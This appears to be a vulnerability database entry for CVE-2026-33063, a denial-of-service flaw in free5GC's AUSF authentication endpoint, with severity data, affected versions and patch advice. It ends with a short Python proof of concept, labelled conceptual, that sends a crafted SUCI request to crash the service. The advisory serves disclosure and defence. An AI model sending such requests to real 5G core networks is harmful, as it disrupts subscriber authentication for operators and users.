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CVE-2026-33063 CVSS 7.5 HIGH

CVE-2026-33063

Published: 2026-03-20 03:16:01
Last Modified: 2026-03-27 17:06:55

Description

free5GC is an open source 5G core network. free5GC AUSF prior to version 1.4.2 has is an Improper Null Check vulnerability leading to Denial of Service. All deployments of free5GC v4.0.1 using the AUSF UE authentication service (`/nausf-auth/v1/ue-authentications` endpoint) are affected. A remote attacker can cause the AUSF service to panic and crash by sending a crafted UE authentication request that triggers a nil interface conversion in the `GetSupiFromSuciSupiMap` function. This results in complete denial of service for the AUSF authentication service. The `GetSupiFromSuciSupiMap` function attempts to perform an interface conversion from `interface{}` to `*context.SuciSupiMap` without checking if the underlying value is nil. When `SuciSupiMap` is nil, the code panics with "interface conversion: interface {} is nil, not *context.SuciSupiMap". free5GC AUSF version 1.4.2 patches the issue. There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the AUSF API to trusted sources only.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:* - VULNERABLE
free5GC AUSF < 1.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Conceptual PoC for CVE-2026-33063 # Target: free5GC AUSF < 1.4.2 # Endpoint: /nausf-auth/v1/ue-authentications # Description: Sending a crafted request that triggers nil interface conversion. target_url = "http://target-ip:8000/nausf-auth/v1/ue-authentications" # The specific JSON structure to trigger the nil map depends on internal logic. # Typically involves sending a malformed SUCI (Subscription Concealed Identifier) # or specific payload that causes the map lookup to fail and return nil. payload = { "suci": "suci-0-001-01-0000-0-0-00", "additional_data": {} } try: response = requests.post(target_url, json=payload) # If the exploit is successful, the server will panic and the connection may reset or return a 500 error print(f"Status Code: {response.status_code}") print("Response: {}".format(response.text)) except Exception as e: print(f"Request failed or server crashed: {e}")

References

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